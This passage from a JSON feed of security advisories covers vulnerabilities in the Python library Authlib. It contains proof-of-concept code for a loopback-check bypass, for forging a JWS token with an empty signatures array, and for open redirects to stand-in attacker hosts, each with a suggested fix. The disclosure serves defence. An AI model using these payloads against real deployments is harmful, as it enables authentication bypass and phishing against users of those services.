latest release (1.7.2):\n\n```sh\npython3 -m venv venv\n./venv/bin/pip install 'authlib==1.7.2'\n./venv/bin/python poc.py\n```\n\n`poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nis_secure_transport() must return True only for https:// URLs, or http://\nURLs whose host is a loopback address (localhost / 127.0.0.1 / ::1).\n\nBypass: http://localhost:80@evil.example/cb has host 'evil.example'\n(userinfo = 'localhost:80') per RFC 3986, but matches the prefix\n'http://localhost:' and is therefore accepted as secure.\n\"\"\"\nfrom urllib.parse import urlparse\nfrom authlib.common.security import is_secure_transport\n\ncases = [\n    \"http://localhost:80@evil.example/cb\",\n    \"http://127.0.0.1:80@evil.example/cb\",\n    \"http://localhost:@evil.example/cb\",\n]\n\nvulnerable = False\nfor url in cases:\n    parsed = urlparse(url)\n    ok = is_secure_transport(url)\n    print(f\"is_secure_transport({url!r}) = {ok}  \"\n          f\"[actual host = {parsed.hostname!r}, scheme = {parsed.scheme!r}]\")\n    if ok and parsed.hostname not in (\"localhost\", \"127.0.0.1\", \"::1\") and parsed.scheme != \"https\":\n        vulnerable = True\n\nif vulnerable:\n    print(\"\\nVULNERABLE: is_secure_transport() returned True for a plain-HTTP \"\n          \"URL whose host is NOT a loopback address.\")\nelse:\n    print(\"\\nNOT VULNERABLE\")\n\nassert vulnerable, \"expected bypass not observed\"\n```\n\nExpected output:\n\n```\nis_secure_transport('http://localhost:80@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']\nis_secure_transport('http://127.0.0.1:80@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']\nis_secure_transport('http://localhost:@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']\n\nVULNERABLE: is_secure_transport() returned True for a plain-HTTP URL whose host is NOT a loopback address.\n```\n\n### Impact\nDeployments are affected if they rely on `is_secure_transport()` — directly or via the Authlib call sites listed above — to reject cleartext non-loopback URLs supplied by an external party. The most realistic path is an OpenID Provider that enables OIDC dynamic client registration and RP-Initiated Logout: a public client can register a `post_logout_redirect_uris` entry of the form `http://localhost:80@attacker.example/…`, which the provider will later use as an open-redirect target over plain HTTP. Relying parties that call `AuthorizationServerMetadata.validate()` on fetched discovery documents are also affected, though exploiting that sink requires the attacker to influence the metadata document. This does **not** bypass the OAuth 2.0 redirect-URI exact-match registration check and does not by itself yield authentication bypass or token theft; it defeats a TLS-required hardening check.\n\n**Suggested fix:** Parse the URI with `urllib.parse.urlsplit()` and return `True` only if `scheme == \"https\"`, or `scheme == \"http\"` and `hostname in {\"localhost\", \"127.0.0.1\", \"::1\"}`; additionally reject any URI whose parsed `username`/`password` is non-empty at these validation sites.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-27T15:37:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-jj7h-c3hg-m23x","https://nvd.nist.gov/vuln/detail/CVE-2026-114614","https://github.com/authlib/authlib/commit/95ad1f90acf0c7b9cf2a8f25e6eb3f1135b8dc70","https://github.com/authlib/authlib/releases/tag/v1.8.0","https://github.com/advisories/GHSA-jj7h-c3hg-m23x"],"source_kind":"github","identifiers":["GHSA-jj7h-c3hg-m23x","CVE-2026-114614"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.941Z","epss_percentage":0.00273,"epss_percentile":0.19686,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajdoLWMzaGctbTIzeM4AB_oa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajdoLWMzaGctbTIzeM4AB_oa","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.8.0","vulnerable_version_range":"\u003c= 1.7.2"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajdoLWMzaGctbTIzeM4AB_oa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02djM4LTRoN3ctcmo5aM4AB_km","url":"https://github.com/advisories/GHSA-6v38-4h7w-rj9h","title":"Authlib: empty signatures validation in JWS JSON deserialization","description":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=\u003creal key\u003e\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) \u003e 0`. Pull request #938\nproposes the same thing.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-27T14:50:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h","https://nvd.nist.gov/vuln/detail/CVE-2026-96760","https://github.com/authlib/authlib/pull/938","https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://kb.cert.org/vuls/id/762428","https://www.kb.cert.org/vuls/id/762428","https://github.com/advisories/GHSA-6v38-4h7w-rj9h"],"source_kind":"github","identifiers":["GHSA-6v38-4h7w-rj9h","CVE-2026-96760"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T15:00:12.909Z","updated_at":"2026-11-06T02:00:28.086Z","epss_percentage":0.00433,"epss_percentile":0.37557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djM4LTRoN3ctcmo5aM4AB_km","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djM4LTRoN3ctcmo5aM4AB_km","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003c= 1.8.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djM4LTRoN3ctcmo5aM4AB_km/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02bTg3LTh3ZzYtaGg4d84AB66i","url":"https://github.com/advisories/GHSA-6m87-8wg6-hh8w","title":"Duplicate Advisory: Authlib: empty signatures validation in JWS JSON deserialization","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6v38-4h7w-rj9h. This link is maintained to preserve external references.\n\n## Original Description\nAuthlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-28T21:31:18.000Z","withdrawn_at":"2026-10-27T14:50:09.000Z","classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-96760","https://github.com/authlib/authlib","https://kb.cert.org/vuls/id/762428","https://www.kb.cert.org/vuls/id/762428","https://github.com/advisories/GHSA-6m87-8wg6-hh8w"],"source_kind":"github","identifiers":["GHSA-6m87-8wg6-hh8w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T15:00:12.909Z","updated_at":"2026-11-06T02:00:28.086Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bTg3LTh3ZzYtaGg4d84AB66i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02bTg3LTh3ZzYtaGg4d84AB66i","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 1.9.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bTg3LTh3ZzYtaGg4d84AB66i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13OHAyLXI3OTYtM3Ztcc4ABYRE","url":"https://github.com/advisories/GHSA-w8p2-r796-3vmq","title":"Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type","description":"### Summary\nAuthlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type '{request.payload.response_type}' is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c'PY'\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server's host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-08T17:52:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq","https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096","https://nvd.nist.gov/vuln/detail/CVE-2026-41479","https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml","https://github.com/advisories/GHSA-w8p2-r796-3vmq"],"source_kind":"github","identifiers":["GHSA-w8p2-r796-3vmq","CVE-2026-41479"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-08T18:00:08.159Z","updated_at":"2026-11-12T04:03:59.940Z","epss_percentage":0.00257,"epss_percentile":0.17532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OHAyLXI3OTYtM3Ztcc4ABYRE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13OHAyLXI3OTYtM3Ztcc4ABYRE","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"= 1.7.0"},{"first_patched_version":"1.6.10","vulnerable_version_range":"\u003c 1.6.10"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OHAyLXI3OTYtM3Ztcc4ABYRE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOTV4LXFmamotZmpqMs4ABWx-","url":"https://github.com/advisories/GHSA-r95x-qfjj-fjj2","title":"Authlib OIDC Implicit/Hybrid Authorization Vulnerable to Open Redirect","description":"### Summary\n\nAn unauthenticated open redirect in Authlib's `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope.\n\n### Details\n\n#### Vulnerable code\n\n`OpenIDImplicitGrant.validate_authorization_request` in `authlib/oidc/core/grants/implicit.py`:\n\n```python\ndef validate_authorization_request(self):\n    if not is_openid_scope(self.request.payload.scope):\n        raise InvalidScopeError(\n            \"Missing 'openid' scope\",\n            redirect_uri=self.request.payload.redirect_uri,  # ← raw, unvalidated\n            redirect_fragment=True,\n        )\n    redirect_uri = super().validate_authorization_request()\n    ...\n```\n\n`OpenIDHybridGrant.validate_authorization_request` in `authlib/oidc/core/grants/hybrid.py` shares the same pattern.\n\n#### Root cause\n\nBoth methods perform the `openid` scope presence check before delegating to `super().validate_authorization_request()`, which is where `AuthorizationEndpointMixin.validate_authorization_redirect_uri` validates the requested `redirect_uri` against the client's `check_redirect_uri(...)`. The `InvalidScopeError` thrown by the scope check therefore carries attacker-controlled `self.request.payload.redirect_uri`.\n\n`OAuth2Error.__call__` in `authlib/oauth2/base.py` renders any error with a non-empty `redirect_uri` as an HTTP 302:\n\n```python\ndef __call__(self, uri=None):\n    if self.redirect_uri:\n        params = self.get_body()\n        loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n        return 302, \"\", [(\"Location\", loc)]\n    return super().__call__(uri=uri)\n```\n\nA malformed authorization request that selects `OpenIDImplicitGrant` or `OpenIDHybridGrant` and omits the `openid` scope is therefore redirected to a fully attacker-chosen URL.\n\nThis is a variant of the issue fixed in commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) (\"fix: redirecting to unvalidated `redirect_uri` on `UnsupportedResponseTypeError`\") that was missed in the OIDC Implicit and Hybrid grants.\n\n#### Preconditions\n\n1. The server registers `OpenIDImplicitGrant` or `OpenIDHybridGrant` (standard OIDC Implicit or Hybrid flow support).\n2. The attacker's request uses a `response_type` that matches either grant: `id_token`, `id_token token`, `code id_token`, `code token`, or `code id_token token`.\n3. `scope` does not contain `openid`.\n4. Any `redirect_uri` value.\n\nNo user authentication, no consent, no valid session, no CSRF token, and — notably — no valid `client_id` are required. The scope check runs before any client lookup, so any `client_id` value (including nonexistent ones) reaches the vulnerable code path.\n\n### PoC\n\nThe following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL:\n\n```\nGET /oauth/authorize\n    ?response_type=id_token\n    \u0026client_id=anything\n    \u0026scope=profile\n    \u0026redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish\n    \u0026state=s\u0026nonce=n  HTTP/1.1\nHost: victim-op.example\n```\n\nServer response:\n\n```\nHTTP/1.1 302 Found\nLocation: https://evil.example.com/phish#error=invalid_scope\u0026error_description=Missing+%27openid%27+scope\u0026state=s\n```\n\n### Impact\n\n- Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP.\n- Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack.\n- RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a `redirect_uri` that has not been validated against the client's registered URIs, even in error responses. The `state` parameter is echoed back, giving the attacker site a stable correlator.\n- No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.\n\n#### Affected deployments\n\nAny application using Authlib as an OIDC provider that registers `OpenIDImplicitGrant` and/or `OpenIDHybridGrant` — i.e. anyone supporting the Implicit flow or the Hybrid flow (`response_type=code id_token`, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue.\n\nAuthorization servers that only register the plain `AuthorizationCodeGrant` (code flow, with or without PKCE and the `OpenIDCode` extension) are not affected by this specific variant: the code-flow grant validates `redirect_uri` before raising scope errors. If you were affected by the sibling issue fixed in `3be08468` (`UnsupportedResponseTypeError`), you should already be on `1.6.10` or later; this advisory is independent of that fix.\n\n### Suggested fix\n\nThe attached `fix-oidc-open-redirect.patch` reorders each method to delegate to its super (or call `validate_code_authorization_request` for Hybrid) first, and then performs the `openid`-scope check with the validated `redirect_uri` variable.\n\n```python\n# authlib/oidc/core/grants/implicit.py\ndef validate_authorization_request(self):\n    redirect_uri = super().validate_authorization_request()   # runs client + redirect_uri validation\n    if not is_openid_scope(self.request.payload.scope):\n        raise InvalidScopeError(\n            \"Missing 'openid' scope\",\n            redirect_uri=redirect_uri,                         # validated\n            redirect_fragment=True,\n        )\n    try:\n        validate_nonce(self.request, self.exists_nonce, required=True)\n    except OAuth2Error as error:\n        error.redirect_uri = redirect_uri\n        error.redirect_fragment = True\n        raise error\n    return redirect_uri\n```\n\nAn equivalent transform is applied to `OpenIDHybridGrant.validate_authorization_request`, invoking `validate_code_authorization_request` first and only then checking `is_openid_scope`.\n\nAlternatively, inline a `client = query_client(request.payload.client_id)` + `client.check_redirect_uri(request.payload.redirect_uri)` guard before populating `redirect_uri` on the error — the pattern used in `3be08468`.\n\nThe patch also adds regression tests analogous to `test_unsupported_response_type_does_not_redirect` from commit `3be08468`, asserting `rv.status_code == 400` and `rv.headers.get(\"Location\") is None` for an unregistered `redirect_uri` with a non-`openid` scope.\n\n### Workarounds\n\nNo clean server-side workaround exists short of patching. Partial mitigations:\n\n- Unregister `OpenIDImplicitGrant` and `OpenIDHybridGrant` if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.)\n- Front the `/authorize` endpoint with a reverse proxy rule that rejects requests containing both a `redirect_uri` parameter and a `scope` that does not include `openid` when `response_type` matches the vulnerable set. This is fragile and not recommended as a primary control.\n\n### References\n\n- RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint)\n- RFC 9700, §4.11 — Redirect URI validation\n- OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response\n- Authlib commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) — prior fix for the same class of issue in `UnsupportedResponseTypeError` (Authlib 1.6.10)\n- Authlib source (by symbol; verified in commit `5d2e603e`):\n  - `OpenIDImplicitGrant.validate_authorization_request` — `authlib/oidc/core/grants/implicit.py`\n  - `OpenIDHybridGrant.validate_authorization_request` — `authlib/oidc/core/grants/hybrid.py`\n  - `OAuth2Error.__call__` — `authlib/oauth2/base.py` (renders errors with `redirect_uri` as HTTP 302)\n  - `AuthorizationEndpointMixin.validate_authorization_redirect_uri` — `authlib/oauth2/rfc6749/grants/base.py` (the validation that is bypassed)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-13T01:36:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-r95x-qfjj-fjj2","https://github.com/authlib/authlib/releases/tag/v1.6.12","https://github.com/authlib/authlib/releases/tag/v1.7.1","https://nvd.nist.gov/vuln/detail/CVE-2026-44681","https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-188.yaml","https://github.com/advisories/GHSA-r95x-qfjj-fjj2"],"source_kind":"github","identifiers":["GHSA-r95x-qfjj-fjj2","CVE-2026-44681"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-13T02:00:08.274Z","updated_at":"2026-11-06T02:03:58.208Z","epss_percentage":0.00249,"epss_percentile":0.16057,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOTV4LXFmamotZmpqMs4ABWx-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOTV4LXFmamotZmpqMs4ABWx-","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.12","vulnerable_version_range":"\u003c= 1.6.11"},{"first_patched_version":"1.7.1","vulnerable_version_range":"= 1.7.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOTV4LXFmamotZmpqMs4ABWx-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajhjLW1tajMtbW1nds4ABVZr","url":"https://github.com/advisories/GHSA-jj8c-mmj3-mmgv","title":"Authlib: Cross-site request forging when using cache","description":"### Summary\n\nThere is no CSRF protection on the cache feature on most integrations clients.\n\n### Details\nIn `authlib.integrations.starlette_client.OAuth`, no CSRF protection is set up when using the cache parameter. When _not_ using the cache parameter, the use of SessionMiddleware ties the client to the auth state, preventing CSRF attacks. With the cache, there is no such mechanism. Other integratons have the same issue, it's not just starlette.\n\nThe state parameter is taken from the callback URL and the state is fetched from the cache without checking that it is the same client calling the redirect endpoint as was the one that initiated the auth flow.\n\nThis issue is documented in RFC 6749 section 10.12:\nhttps://datatracker.ietf.org/doc/html/rfc6749#section-10.12\n\n### PoC\n- Set up a Starlette integration with a cache\n- The attacker starts the auth flow up until before the callback URL is followed.\n- The attacked sends the redirect URL to the victim\n- The victim now completes the authorisation\n\n### Impact\nThis impacts all users that use the cache to store auth state.\n\nAll users will be vulnerable to CSRF attacks and may have an attacker's account tied to their own.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-16T22:38:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-jj8c-mmj3-mmgv","https://nvd.nist.gov/vuln/detail/CVE-2026-41425","https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-25.yaml","https://github.com/advisories/GHSA-jj8c-mmj3-mmgv"],"source_kind":"github","identifiers":["GHSA-jj8c-mmj3-mmgv","CVE-2026-41425"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T23:00:09.229Z","updated_at":"2026-11-06T02:04:28.729Z","epss_percentage":0.00106,"epss_percentile":0.01101,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajhjLW1tajMtbW1nds4ABVZr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajhjLW1tajMtbW1nds4ABVZr","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.6.11","vulnerable_version_range":"\u003c 1.6.11"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajhjLW1tajMtbW1nds4ABVZr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tMzQ0LWY1NXctMm02as4ABTt6","url":"https://github.com/advisories/GHSA-m344-f55w-2m6j","title":"Authlib: 